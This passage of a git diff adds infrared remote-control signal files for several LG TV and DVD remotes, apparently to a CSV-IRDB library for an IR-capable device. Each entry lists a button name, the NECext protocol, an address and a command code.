+protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: qmenu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: simplink +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: energy +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AB 00 00 00 +# +name: tv/rad +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir new file mode 100644 index 000000000..f525c1104 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 05 00 00 00 +# +name: skip_scan_down +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 06 00 00 00 +# +name: skip_scan_up +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 07 00 00 00 +# +name: pr_preset_down +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 12 00 00 00 +# +name: pr_preset_up +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 1E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 49 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4B 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4E 00 00 00 +# +name: pause_step +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4F 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 59 00 00 00 +# +name: dimmer +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 5E 00 00 00 +# +name: exit_cancel +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 69 00 00 00 +# +name: caption +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 6A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 6B 00 00 00 +# +name: i_ii +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 7A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 7B 00 00 00 +# +name: tv_radio +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 82 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 8A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 9A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A0 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A1 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A2 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A3 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A4 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A5 00 00 00 +# +name: s_title +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AB 00 00 00 +# +name: repeat_a-b +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AD 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AE 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: AF 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B0 00 00 00 +# +name: slow_scan_down +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B1 00 00 00 +# +name: slow_scan_up +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B2 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B3 00 00 00 +# +name: marker +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B4 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: C2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir new file mode 100644 index 000000000..41ec7d7c8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: sap +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: tv-video +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: pipinput +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 65 00 00 00 +# +name: pipch+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: pipch- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: ratio +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7B 00 00 00 +# +name: signal +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: comp-rgb-dvi +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: adjust +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir new file mode 100644 index 000000000..6183624af --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_DIGITS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_SAVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_REDO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PROPS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_MAX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_SHOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_INSERT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir new file mode 100644 index 000000000..36d77c255 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PSM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: SSM/\* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: UPDATE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: Q.VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: I/II/\* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: EYE/\* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: MENU/INDEX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: TEXT/MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir new file mode 100644 index 000000000..f4211cda7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: psm +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: ssm +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: pr-up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: pr-down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: q-view +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: i-ii +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: eye +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir new file mode 100644 index 000000000..9ade4d84c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: CHPLUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHMINUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TVVIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: FCR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: CAPTION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: APC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: AUTOPRG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: MEMORYERASE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: EYEASTERISK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir new file mode 100644 index 000000000..18900cdf1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: JON-WEON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: JO-YONG-HI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: EUM-SEONG-DA-JUNG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TV/OI-BU-IB-LYEOK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: CHWI-CHIM-YE-YAK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: I-JEON-CHAE-NEOL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: SEON-HO-CHAE-NEOL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: JA-MAG-BANG-SONG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: HAG-IN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: JA-DONG-YEONG-SANG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: IB-CHE-EUM-HYANG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: CHWI-SO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: MULTIMEDIA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir new file mode 100644 index 000000000..f336019ed --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: 